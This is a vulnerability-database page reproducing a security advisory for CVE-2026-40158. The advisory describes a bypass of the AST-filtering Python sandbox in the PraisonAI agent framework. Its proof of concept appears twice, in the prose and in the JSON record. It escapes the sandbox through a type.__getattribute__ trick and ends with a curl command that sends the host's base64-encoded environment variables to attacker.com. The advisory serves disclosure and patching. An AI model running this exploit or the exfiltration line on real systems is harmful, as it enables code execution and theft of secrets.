GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-3C4R-6P77-XWR7

Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25
VLAI
Summary
PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure
Details

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')

        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

  • Access sensitive data such as environment variables, API keys, and local files
  • Execute arbitrary system commands
  • Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)

    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)

    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Severity
8.6 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:25:39Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI\u0027s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, \u0027__subclasses__\u0027)  # Bypasses filter\n```\n\nThe string `\u0027__subclasses__\u0027` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, \u0027__bases__\u0027)\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, \u0027__subclasses__\u0027)\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, \u0027__name__\u0027) == \u0027_wrap_close\u0027:\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, \u0027__init__\u0027)\n        glb = type(init).__getattribute__(init, \u0027__globals__\u0027)\n        \n        # Get system function and execute\n        system = glb[\u0027system\u0027]\n        system(\u0027curl https://attacker.com/steal --data \"$(env | base64)\"\u0027)\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
  "id": "GHSA-3c4r-6p77-xwr7",
  "modified": "2026-04-10T19:25:39Z",
  "published": "2026-04-10T19:25:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.